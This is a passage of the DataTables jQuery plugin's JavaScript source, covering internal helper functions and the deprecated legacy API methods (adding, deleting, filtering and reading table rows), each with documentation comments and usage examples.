more information about this error, please see '+\n\t\t\t'http://datatables.net/tn/'+tn;\n\t\t}\n\t\n\t\tif ( ! level  ) {\n\t\t\t// Backwards compatibility pre 1.10\n\t\t\tvar ext = DataTable.ext;\n\t\t\tvar type = ext.sErrMode || ext.errMode;\n\t\n\t\t\tif ( type == 'alert' ) {\n\t\t\t\talert( msg );\n\t\t\t}\n\t\t\telse {\n\t\t\t\tthrow new Error(msg);\n\t\t\t}\n\t\t}\n\t\telse if ( window.console && console.log ) {\n\t\t\tconsole.log( msg );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * See if a property is defined on one object, if so assign it to the other object\n\t *  @param {object} ret target object\n\t *  @param {object} src source object\n\t *  @param {string} name property\n\t *  @param {string} [mappedName] name to map too - optional, name used if not given\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnMap( ret, src, name, mappedName )\n\t{\n\t\tif ( $.isArray( name ) ) {\n\t\t\t$.each( name, function (i, val) {\n\t\t\t\tif ( $.isArray( val ) ) {\n\t\t\t\t\t_fnMap( ret, src, val[0], val[1] );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t_fnMap( ret, src, val );\n\t\t\t\t}\n\t\t\t} );\n\t\n\t\t\treturn;\n\t\t}\n\t\n\t\tif ( mappedName === undefined ) {\n\t\t\tmappedName = name;\n\t\t}\n\t\n\t\tif ( src[name] !== undefined ) {\n\t\t\tret[mappedName] = src[name];\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Extend objects - very similar to jQuery.extend, but deep copy objects, and\n\t * shallow copy arrays. The reason we need to do this, is that we don't want to\n\t * deep copy array init values (such as aaSorting) since the dev wouldn't be\n\t * able to override them, but we do want to deep copy arrays.\n\t *  @param {object} out Object to extend\n\t *  @param {object} extender Object from which the properties will be applied to\n\t *      out\n\t *  @param {boolean} breakRefs If true, then arrays will be sliced to take an\n\t *      independent copy with the exception of the `data` or `aaData` parameters\n\t *      if they are present. This is so you can pass in a collection to\n\t *      DataTables and have that used as your data source without breaking the\n\t *      references\n\t *  @returns {object} out Reference, just for convenience - out === the return.\n\t *  @memberof DataTable#oApi\n\t *  @todo This doesn't take account of arrays inside the deep copied objects.\n\t */\n\tfunction _fnExtend( out, extender, breakRefs )\n\t{\n\t\tvar val;\n\t\n\t\tfor ( var prop in extender ) {\n\t\t\tif ( extender.hasOwnProperty(prop) ) {\n\t\t\t\tval = extender[prop];\n\t\n\t\t\t\tif ( $.isPlainObject( val ) ) {\n\t\t\t\t\tif ( ! $.isPlainObject( out[prop] ) ) {\n\t\t\t\t\t\tout[prop] = {};\n\t\t\t\t\t}\n\t\t\t\t\t$.extend( true, out[prop], val );\n\t\t\t\t}\n\t\t\t\telse if ( breakRefs && prop !== 'data' && prop !== 'aaData' && $.isArray(val) ) {\n\t\t\t\t\tout[prop] = val.slice();\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tout[prop] = val;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\treturn out;\n\t}\n\t\n\t\n\t/**\n\t * Bind an event handers to allow a click or return key to activate the callback.\n\t * This is good for accessibility since a return on the keyboard will have the\n\t * same effect as a click, if the element has focus.\n\t *  @param {element} n Element to bind the action to\n\t *  @param {object} oData Data object to pass to the triggered function\n\t *  @param {function} fn Callback function for when the event is triggered\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnBindAction( n, oData, fn )\n\t{\n\t\t$(n)\n\t\t\t.bind( 'click.DT', oData, function (e) {\n\t\t\t\t\tn.blur(); // Remove focus outline for mouse users\n\t\t\t\t\tfn(e);\n\t\t\t\t} )\n\t\t\t.bind( 'keypress.DT', oData, function (e){\n\t\t\t\tif ( e.which === 13 ) {\n\t\t\t\t\tfn(e);\n\t\t\t\t} } )\n\t\t\t.bind( 'selectstart.DT', function () {\n\t\t\t\t/* Take the brutal approach to cancelling text selection */\n\t\t\t\treturn false;\n\t\t\t\t} );\n\t}\n\t\n\t\n\t/**\n\t * Register a callback function. Easily allows a callback function to be added to\n\t * an array store of callback functions that can then all be called together.\n\t *  @param {object} oSettings dataTables settings object\n\t *  @param {string} sStore Name of the array storage for the callbacks in oSettings\n\t *  @param {function} fn Function to be called back\n\t *  @param {string} sName Identifying name for the callback (i.e. a label)\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnCallbackReg( oSettings, sStore, fn, sName )\n\t{\n\t\tif ( fn )\n\t\t{\n\t\t\toSettings[sStore].push( {\n\t\t\t\t\"fn\": fn,\n\t\t\t\t\"sName\": sName\n\t\t\t} );\n\t\t}\n\t}\n\t\n\t\n\t/**\n\t * Fire callback functions and trigger events. Note that the loop over the\n\t * callback array store is done backwards! Further note that you do not want to\n\t * fire off triggers in time sensitive applications (for example cell creation)\n\t * as its slow.\n\t *  @param {object} settings dataTables settings object\n\t *  @param {string} callbackArr Name of the array storage for the callbacks in\n\t *      oSettings\n\t *  @param {string} event Name of the jQuery custom event to trigger. If null no\n\t *      trigger is fired\n\t *  @param {array} args Array of arguments to pass to the callback function /\n\t *      trigger\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnCallbackFire( settings, callbackArr, event, args )\n\t{\n\t\tvar ret = [];\n\t\n\t\tif ( callbackArr ) {\n\t\t\tret = $.map( settings[callbackArr].slice().reverse(), function (val, i) {\n\t\t\t\treturn val.fn.apply( settings.oInstance, args );\n\t\t\t} );\n\t\t}\n\t\n\t\tif ( event !== null ) {\n\t\t\t$(settings.nTable).trigger( event+'.dt', args );\n\t\t}\n\t\n\t\treturn ret;\n\t}\n\t\n\t\n\tfunction _fnLengthOverflow ( settings )\n\t{\n\t\tvar\n\t\t\tstart = settings._iDisplayStart,\n\t\t\tend = settings.fnDisplayEnd(),\n\t\t\tlen = settings._iDisplayLength;\n\t\n\t\t/* If we have space to show extra rows (backing up from the end point - then do so */\n\t\tif ( end === settings.fnRecordsDisplay() )\n\t\t{\n\t\t\tstart = end - len;\n\t\t}\n\t\n\t\tif ( len === -1 || start < 0 )\n\t\t{\n\t\t\tstart = 0;\n\t\t}\n\t\n\t\tsettings._iDisplayStart = start;\n\t}\n\t\n\t\n\tfunction _fnRenderer( settings, type )\n\t{\n\t\tvar renderer = settings.renderer;\n\t\tvar host = DataTable.ext.renderer[type];\n\t\n\t\tif ( $.isPlainObject( renderer ) && renderer[type] ) {\n\t\t\t// Specific renderer for this type. If available use it, otherwise use\n\t\t\t// the default.\n\t\t\treturn host[renderer[type]] || host._;\n\t\t}\n\t\telse if ( typeof renderer === 'string' ) {\n\t\t\t// Common renderer - if there is one available for this type use it,\n\t\t\t// otherwise use the default\n\t\t\treturn host[renderer] || host._;\n\t\t}\n\t\n\t\t// Use the default\n\t\treturn host._;\n\t}\n\t\n\t\n\t/**\n\t * Detect the data source being used for the table. Used to simplify the code\n\t * a little (ajax) and to make it compress a little smaller.\n\t *\n\t *  @param {object} settings dataTables settings object\n\t *  @returns {string} Data source\n\t *  @memberof DataTable#oApi\n\t */\n\tfunction _fnDataSource ( settings )\n\t{\n\t\tif ( settings.oFeatures.bServerSide ) {\n\t\t\treturn 'ssp';\n\t\t}\n\t\telse if ( settings.ajax || settings.sAjaxSource ) {\n\t\t\treturn 'ajax';\n\t\t}\n\t\treturn 'dom';\n\t}\n\t\n\n\tDataTable = function( options )\n\t{\n\t\t/**\n\t\t * Perform a jQuery selector action on the table's TR elements (from the tbody) and\n\t\t * return the resulting jQuery object.\n\t\t *  @param {string|node|jQuery} sSelector jQuery selector or node collection to act on\n\t\t *  @param {object} [oOpts] Optional parameters for modifying the rows to be included\n\t\t *  @param {string} [oOpts.filter=none] Select TR elements that meet the current filter\n\t\t *    criterion (\"applied\") or all TR elements (i.e. no filter).\n\t\t *  @param {string} [oOpts.order=current] Order of the TR elements in the processed array.\n\t\t *    Can be either 'current', whereby the current sorting of the table is used, or\n\t\t *    'original' whereby the original order the data was read into the table is used.\n\t\t *  @param {string} [oOpts.page=all] Limit the selection to the currently displayed page\n\t\t *    (\"current\") or not (\"all\"). If 'current' is given, then order is assumed to be\n\t\t *    'current' and filter is 'applied', regardless of what they might be given as.\n\t\t *  @returns {object} jQuery object, filtered by the given selector.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Highlight every second row\n\t\t *      oTable.$('tr:odd').css('backgroundColor', 'blue');\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Filter to rows with 'Webkit' in them, add a background colour and then\n\t\t *      // remove the filter, thus highlighting the 'Webkit' rows only.\n\t\t *      oTable.fnFilter('Webkit');\n\t\t *      oTable.$('tr', {\"search\": \"applied\"}).css('backgroundColor', 'blue');\n\t\t *      oTable.fnFilter('');\n\t\t *    } );\n\t\t */\n\t\tthis.$ = function ( sSelector, oOpts )\n\t\t{\n\t\t\treturn this.api(true).$( sSelector, oOpts );\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Almost identical to $ in operation, but in this case returns the data for the matched\n\t\t * rows - as such, the jQuery selector used should match TR row nodes or TD/TH cell nodes\n\t\t * rather than any descendants, so the data can be obtained for the row/cell. If matching\n\t\t * rows are found, the data returned is the original data array/object that was used to\n\t\t * create the row (or a generated array if from a DOM source).\n\t\t *\n\t\t * This method is often useful in-combination with $ where both functions are given the\n\t\t * same parameters and the array indexes will match identically.\n\t\t *  @param {string|node|jQuery} sSelector jQuery selector or node collection to act on\n\t\t *  @param {object} [oOpts] Optional parameters for modifying the rows to be included\n\t\t *  @param {string} [oOpts.filter=none] Select elements that meet the current filter\n\t\t *    criterion (\"applied\") or all elements (i.e. no filter).\n\t\t *  @param {string} [oOpts.order=current] Order of the data in the processed array.\n\t\t *    Can be either 'current', whereby the current sorting of the table is used, or\n\t\t *    'original' whereby the original order the data was read into the table is used.\n\t\t *  @param {string} [oOpts.page=all] Limit the selection to the currently displayed page\n\t\t *    (\"current\") or not (\"all\"). If 'current' is given, then order is assumed to be\n\t\t *    'current' and filter is 'applied', regardless of what they might be given as.\n\t\t *  @returns {array} Data for the matched elements. If any elements, as a result of the\n\t\t *    selector, were not TR, TD or TH elements in the DataTable, they will have a null\n\t\t *    entry in the array.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Get the data from the first row in the table\n\t\t *      var data = oTable._('tr:first');\n\t\t *\n\t\t *      // Do something useful with the data\n\t\t *      alert( \"First cell is: \"+data[0] );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Filter to 'Webkit' and get all data for\n\t\t *      oTable.fnFilter('Webkit');\n\t\t *      var data = oTable._('tr', {\"search\": \"applied\"});\n\t\t *\n\t\t *      // Do something with the data\n\t\t *      alert( data.length+\" rows matched the search\" );\n\t\t *    } );\n\t\t */\n\t\tthis._ = function ( sSelector, oOpts )\n\t\t{\n\t\t\treturn this.api(true).rows( sSelector, oOpts ).data();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Create a DataTables Api instance, with the currently selected tables for\n\t\t * the Api's context.\n\t\t * @param {boolean} [traditional=false] Set the API instance's context to be\n\t\t *   only the table referred to by the `DataTable.ext.iApiIndex` option, as was\n\t\t *   used in the API presented by DataTables 1.9- (i.e. the traditional mode),\n\t\t *   or if all tables captured in the jQuery object should be used.\n\t\t * @return {DataTables.Api}\n\t\t */\n\t\tthis.api = function ( traditional )\n\t\t{\n\t\t\treturn traditional ?\n\t\t\t\tnew _Api(\n\t\t\t\t\t_fnSettingsFromNode( this[ _ext.iApiIndex ] )\n\t\t\t\t) :\n\t\t\t\tnew _Api( this );\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Add a single new row or multiple rows of data to the table. Please note\n\t\t * that this is suitable for client-side processing only - if you are using\n\t\t * server-side processing (i.e. \"bServerSide\": true), then to add data, you\n\t\t * must add it to the data source, i.e. the server-side, through an Ajax call.\n\t\t *  @param {array|object} data The data to be added to the table. This can be:\n\t\t *    <ul>\n\t\t *      <li>1D array of data - add a single row with the data provided</li>\n\t\t *      <li>2D array of arrays - add multiple rows in a single call</li>\n\t\t *      <li>object - data object when using <i>mData</i></li>\n\t\t *      <li>array of objects - multiple data objects when using <i>mData</i></li>\n\t\t *    </ul>\n\t\t *  @param {bool} [redraw=true] redraw the table or not\n\t\t *  @returns {array} An array of integers, representing the list of indexes in\n\t\t *    <i>aoData</i> ({@link DataTable.models.oSettings}) that have been added to\n\t\t *    the table.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    // Global var for counter\n\t\t *    var giCount = 2;\n\t\t *\n\t\t *    $(document).ready(function() {\n\t\t *      $('#example').dataTable();\n\t\t *    } );\n\t\t *\n\t\t *    function fnClickAddRow() {\n\t\t *      $('#example').dataTable().fnAddData( [\n\t\t *        giCount+\".1\",\n\t\t *        giCount+\".2\",\n\t\t *        giCount+\".3\",\n\t\t *        giCount+\".4\" ]\n\t\t *      );\n\t\t *\n\t\t *      giCount++;\n\t\t *    }\n\t\t */\n\t\tthis.fnAddData = function( data, redraw )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\n\t\t\t/* Check if we want to add multiple rows or not */\n\t\t\tvar rows = $.isArray(data) && ( $.isArray(data[0]) || $.isPlainObject(data[0]) ) ?\n\t\t\t\tapi.rows.add( data ) :\n\t\t\t\tapi.row.add( data );\n\t\t\n\t\t\tif ( redraw === undefined || redraw ) {\n\t\t\t\tapi.draw();\n\t\t\t}\n\t\t\n\t\t\treturn rows.flatten().toArray();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * This function will make DataTables recalculate the column sizes, based on the data\n\t\t * contained in the table and the sizes applied to the columns (in the DOM, CSS or\n\t\t * through the sWidth parameter). This can be useful when the width of the table's\n\t\t * parent element changes (for example a window resize).\n\t\t *  @param {boolean} [bRedraw=true] Redraw the table or not, you will typically want to\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable( {\n\t\t *        \"sScrollY\": \"200px\",\n\t\t *        \"bPaginate\": false\n\t\t *      } );\n\t\t *\n\t\t *      $(window).bind('resize', function () {\n\t\t *        oTable.fnAdjustColumnSizing();\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\tthis.fnAdjustColumnSizing = function ( bRedraw )\n\t\t{\n\t\t\tvar api = this.api( true ).columns.adjust();\n\t\t\tvar settings = api.settings()[0];\n\t\t\tvar scroll = settings.oScroll;\n\t\t\n\t\t\tif ( bRedraw === undefined || bRedraw ) {\n\t\t\t\tapi.draw( false );\n\t\t\t}\n\t\t\telse if ( scroll.sX !== \"\" || scroll.sY !== \"\" ) {\n\t\t\t\t/* If not redrawing, but scrolling, we want to apply the new column sizes anyway */\n\t\t\t\t_fnScrollDraw( settings );\n\t\t\t}\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Quickly and simply clear a table\n\t\t *  @param {bool} [bRedraw=true] redraw the table or not\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Immediately 'nuke' the current rows (perhaps waiting for an Ajax callback...)\n\t\t *      oTable.fnClearTable();\n\t\t *    } );\n\t\t */\n\t\tthis.fnClearTable = function( bRedraw )\n\t\t{\n\t\t\tvar api = this.api( true ).clear();\n\t\t\n\t\t\tif ( bRedraw === undefined || bRedraw ) {\n\t\t\t\tapi.draw();\n\t\t\t}\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * The exact opposite of 'opening' a row, this function will close any rows which\n\t\t * are currently 'open'.\n\t\t *  @param {node} nTr the table row to 'close'\n\t\t *  @returns {int} 0 on success, or 1 if failed (can't find the row)\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable;\n\t\t *\n\t\t *      // 'open' an information row when a row is clicked on\n\t\t *      $('#example tbody tr').click( function () {\n\t\t *        if ( oTable.fnIsOpen(this) ) {\n\t\t *          oTable.fnClose( this );\n\t\t *        } else {\n\t\t *          oTable.fnOpen( this, \"Temporary row opened\", \"info_row\" );\n\t\t *        }\n\t\t *      } );\n\t\t *\n\t\t *      oTable = $('#example').dataTable();\n\t\t *    } );\n\t\t */\n\t\tthis.fnClose = function( nTr )\n\t\t{\n\t\t\tthis.api( true ).row( nTr ).child.hide();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Remove a row for the table\n\t\t *  @param {mixed} target The index of the row from aoData to be deleted, or\n\t\t *    the TR element you want to delete\n\t\t *  @param {function|null} [callBack] Callback function\n\t\t *  @param {bool} [redraw=true] Redraw the table or not\n\t\t *  @returns {array} The row that was deleted\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Immediately remove the first row\n\t\t *      oTable.fnDeleteRow( 0 );\n\t\t *    } );\n\t\t */\n\t\tthis.fnDeleteRow = function( target, callback, redraw )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\tvar rows = api.rows( target );\n\t\t\tvar settings = rows.settings()[0];\n\t\t\tvar data = settings.aoData[ rows[0][0] ];\n\t\t\n\t\t\trows.remove();\n\t\t\n\t\t\tif ( callback ) {\n\t\t\t\tcallback.call( this, settings, data );\n\t\t\t}\n\t\t\n\t\t\tif ( redraw === undefined || redraw ) {\n\t\t\t\tapi.draw();\n\t\t\t}\n\t\t\n\t\t\treturn data;\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Restore the table to it's original state in the DOM by removing all of DataTables\n\t\t * enhancements, alterations to the DOM structure of the table and event listeners.\n\t\t *  @param {boolean} [remove=false] Completely remove the table from the DOM\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      // This example is fairly pointless in reality, but shows how fnDestroy can be used\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *      oTable.fnDestroy();\n\t\t *    } );\n\t\t */\n\t\tthis.fnDestroy = function ( remove )\n\t\t{\n\t\t\tthis.api( true ).destroy( remove );\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Redraw the table\n\t\t *  @param {bool} [complete=true] Re-filter and resort (if enabled) the table before the draw.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Re-draw the table - you wouldn't want to do it here, but it's an example :-)\n\t\t *      oTable.fnDraw();\n\t\t *    } );\n\t\t */\n\t\tthis.fnDraw = function( complete )\n\t\t{\n\t\t\t// Note that this isn't an exact match to the old call to _fnDraw - it takes\n\t\t\t// into account the new data, but can old position.\n\t\t\tthis.api( true ).draw( ! complete );\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Filter the input based on data\n\t\t *  @param {string} sInput String to filter the table on\n\t\t *  @param {int|null} [iColumn] Column to limit filtering to\n\t\t *  @param {bool} [bRegex=false] Treat as regular expression or not\n\t\t *  @param {bool} [bSmart=true] Perform smart filtering or not\n\t\t *  @param {bool} [bShowGlobal=true] Show the input global filter in it's input box(es)\n\t\t *  @param {bool} [bCaseInsensitive=true] Do case-insensitive matching (true) or not (false)\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Sometime later - filter...\n\t\t *      oTable.fnFilter( 'test string' );\n\t\t *    } );\n\t\t */\n\t\tthis.fnFilter = function( sInput, iColumn, bRegex, bSmart, bShowGlobal, bCaseInsensitive )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\n\t\t\tif ( iColumn === null || iColumn === undefined ) {\n\t\t\t\tapi.search( sInput, bRegex, bSmart, bCaseInsensitive );\n\t\t\t}\n\t\t\telse {\n\t\t\t\tapi.column( iColumn ).search( sInput, bRegex, bSmart, bCaseInsensitive );\n\t\t\t}\n\t\t\n\t\t\tapi.draw();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Get the data for the whole table, an individual row or an individual cell based on the\n\t\t * provided parameters.\n\t\t *  @param {int|node} [src] A TR row node, TD/TH cell node or an integer. If given as\n\t\t *    a TR node then the data source for the whole row will be returned. If given as a\n\t\t *    TD/TH cell node then iCol will be automatically calculated and the data for the\n\t\t *    cell returned. If given as an integer, then this is treated as the aoData internal\n\t\t *    data index for the row (see fnGetPosition) and the data for that row used.\n\t\t *  @param {int} [col] Optional column index that you want the data of.\n\t\t *  @returns {array|object|string} If mRow is undefined, then the data for all rows is\n\t\t *    returned. If mRow is defined, just data for that row, and is iCol is\n\t\t *    defined, only data for the designated cell is returned.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    // Row data\n\t\t *    $(document).ready(function() {\n\t\t *      oTable = $('#example').dataTable();\n\t\t *\n\t\t *      oTable.$('tr').click( function () {\n\t\t *        var data = oTable.fnGetData( this );\n\t\t *        // ... do something with the array / object of data for the row\n\t\t *      } );\n\t\t *    } );\n\t\t *\n\t\t *  @example\n\t\t *    // Individual cell data\n\t\t *    $(document).ready(function() {\n\t\t *      oTable = $('#example').dataTable();\n\t\t *\n\t\t *      oTable.$('td').click( function () {\n\t\t *        var sData = oTable.fnGetData( this );\n\t\t *        alert( 'The cell clicked on had the value of '+sData );\n\t\t *      } );\n\t\t *    } );\n\t\t */\n\t\tthis.fnGetData = function( src, col )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\n\t\t\tif ( src !== undefined ) {\n\t\t\t\tvar type = src.nodeName ? src.nodeName.toLowerCase() : '';\n\t\t\n\t\t\t\treturn col !== undefined || type == 'td' || type == 'th' ?\n\t\t\t\t\tapi.cell( src, col ).data() :\n\t\t\t\t\tapi.row( src ).data();\n\t\t\t}\n\t\t\n\t\t\treturn api.data().toArray();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Get an array of the TR nodes that are used in the table's body. Note that you will\n\t\t * typically want to use the '$' API method in preference to this as it is more\n\t\t * flexible.\n\t\t *  @param {int} [iRow] Optional row index for the TR element you want\n\t\t *  @returns {array|node} If iRow is undefined, returns an array of all TR elements\n\t\t *    in the table's body, or iRow is defined, just the TR element requested.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Get the nodes from the table\n\t\t *      var nNodes = oTable.fnGetNodes( );\n\t\t *    } );\n\t\t */\n\t\tthis.fnGetNodes = function( iRow )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\n\t\t\treturn iRow !== undefined ?\n\t\t\t\tapi.row( iRow ).node() :\n\t\t\t\tapi.rows().nodes().toArray();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Get the array indexes of a particular cell from it's DOM element\n\t\t * and column index including hidden columns\n\t\t *  @param {node} node this can either be a TR, TD or TH in the table's body\n\t\t *  @returns {int} If nNode is given as a TR, then a single index is returned, or\n\t\t *    if given as a cell, an array of [row index, column index (visible),\n\t\t *    column index (all)] is given.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      $('#example tbody td').click( function () {\n\t\t *        // Get the position of the current data from the node\n\t\t *        var aPos = oTable.fnGetPosition( this );\n\t\t *\n\t\t *        // Get the data array for this row\n\t\t *        var aData = oTable.fnGetData( aPos[0] );\n\t\t *\n\t\t *        // Update the data array and return the value\n\t\t *        aData[ aPos[1] ] = 'clicked';\n\t\t *        this.innerHTML = 'clicked';\n\t\t *      } );\n\t\t *\n\t\t *      // Init DataTables\n\t\t *      oTable = $('#example').dataTable();\n\t\t *    } );\n\t\t */\n\t\tthis.fnGetPosition = function( node )\n\t\t{\n\t\t\tvar api = this.api( true );\n\t\t\tvar nodeName = node.nodeName.toUpperCase();\n\t\t\n\t\t\tif ( nodeName == 'TR' ) {\n\t\t\t\treturn api.row( node ).index();\n\t\t\t}\n\t\t\telse if ( nodeName == 'TD' || nodeName == 'TH' ) {\n\t\t\t\tvar cell = api.cell( node ).index();\n\t\t\n\t\t\t\treturn [\n\t\t\t\t\tcell.row,\n\t\t\t\t\tcell.columnVisible,\n\t\t\t\t\tcell.column\n\t\t\t\t];\n\t\t\t}\n\t\t\treturn null;\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Check to see if a row is 'open' or not.\n\t\t *  @param {node} nTr the table row to check\n\t\t *  @returns {boolean} true if the row is currently open, false otherwise\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable;\n\t\t *\n\t\t *      // 'open' an information row when a row is clicked on\n\t\t *      $('#example tbody tr').click( function () {\n\t\t *        if ( oTable.fnIsOpen(this) ) {\n\t\t *          oTable.fnClose( this );\n\t\t *        } else {\n\t\t *          oTable.fnOpen( this, \"Temporary row opened\", \"info_row\" );\n\t\t *        }\n\t\t *      } );\n\t\t *\n\t\t *      oTable = $('#example').dataTable();\n\t\t *    } );\n\t\t */\n\t\tthis.fnIsOpen = function( nTr )\n\t\t{\n\t\t\treturn this.api( true ).row( nTr ).child.isShown();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * This function will place a new row directly after a row which is currently\n\t\t * on display on the page, with the HTML contents that is passed into the\n\t\t * function. This can be used, for example, to ask for confirmation that a\n\t\t * particular record should be deleted.\n\t\t *  @param {node} nTr The table row to 'open'\n\t\t *  @param {string|node|jQuery} mHtml The HTML to put into the row\n\t\t *  @param {string} sClass Class to give the new TD cell\n\t\t *  @returns {node} The row opened. Note that if the table row passed in as the\n\t\t *    first parameter, is not found in the table, this method will silently\n\t\t *    return.\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable;\n\t\t *\n\t\t *      // 'open' an information row when a row is clicked on\n\t\t *      $('#example tbody tr').click( function () {\n\t\t *        if ( oTable.fnIsOpen(this) ) {\n\t\t *          oTable.fnClose( this );\n\t\t *        } else {\n\t\t *          oTable.fnOpen( this, \"Temporary row opened\", \"info_row\" );\n\t\t *        }\n\t\t *      } );\n\t\t *\n\t\t *      oTable = $('#example').dataTable();\n\t\t *    } );\n\t\t */\n\t\tthis.fnOpen = function( nTr, mHtml, sClass )\n\t\t{\n\t\t\treturn this.api( true ).row( nTr ).child( mHtml, sClass ).show();\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Change the pagination - provides the internal logic for pagination in a simple API\n\t\t * function. With this function you can have a DataTables table go to the next,\n\t\t * previous, first or last pages.\n\t\t *  @param {string|int} mAction Paging action to take: \"first\", \"previous\", \"next\" or \"last\"\n\t\t *    or page number to jump to (integer), note that page 0 is the first page.\n\t\t *  @param {bool} [bRedraw=true] Redraw the table or not\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *      oTable.fnPageChange( 'next' );\n\t\t *    } );\n\t\t */\n\t\tthis.fnPageChange = function ( mAction, bRedraw )\n\t\t{\n\t\t\tvar api = this.api( true ).page( mAction );\n\t\t\n\t\t\tif ( bRedraw === undefined || bRedraw ) {\n\t\t\t\tapi.draw(false);\n\t\t\t}\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Show a particular column\n\t\t *  @param {int} iCol The column whose display should be changed\n\t\t *  @param {bool} bShow Show (true) or hide (false) the column\n\t\t *  @param {bool} [bRedraw=true] Redraw the table or not\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *\n\t\t *      // Hide the second column after initialisation\n\t\t *      oTable.fnSetColumnVis( 1, false );\n\t\t *    } );\n\t\t */\n\t\tthis.fnSetColumnVis = function ( iCol, bShow, bRedraw )\n\t\t{\n\t\t\tvar api = this.api( true ).column( iCol ).visible( bShow );\n\t\t\n\t\t\tif ( bRedraw === undefined || bRedraw ) {\n\t\t\t\tapi.columns.adjust().draw();\n\t\t\t}\n\t\t};\n\t\t\n\t\t\n\t\t/**\n\t\t * Get the settings for a particular table for external manipulation\n\t\t *  @returns {object} DataTables settings object. See\n\t\t *    {@link DataTable.models.oSettings}\n\t\t *  @dtopt API\n\t\t *  @deprecated Since v1.10\n\t\t *\n\t\t *  @example\n\t\t *    $(document).ready(function() {\n\t\t *      var oTable = $('#example').dataTable();\n\t\t *      var oSettings = oTable.fnSettings();\n\t\t *\n\t\t *      // Show an example parameter from the settings\n\t\t *      alert( 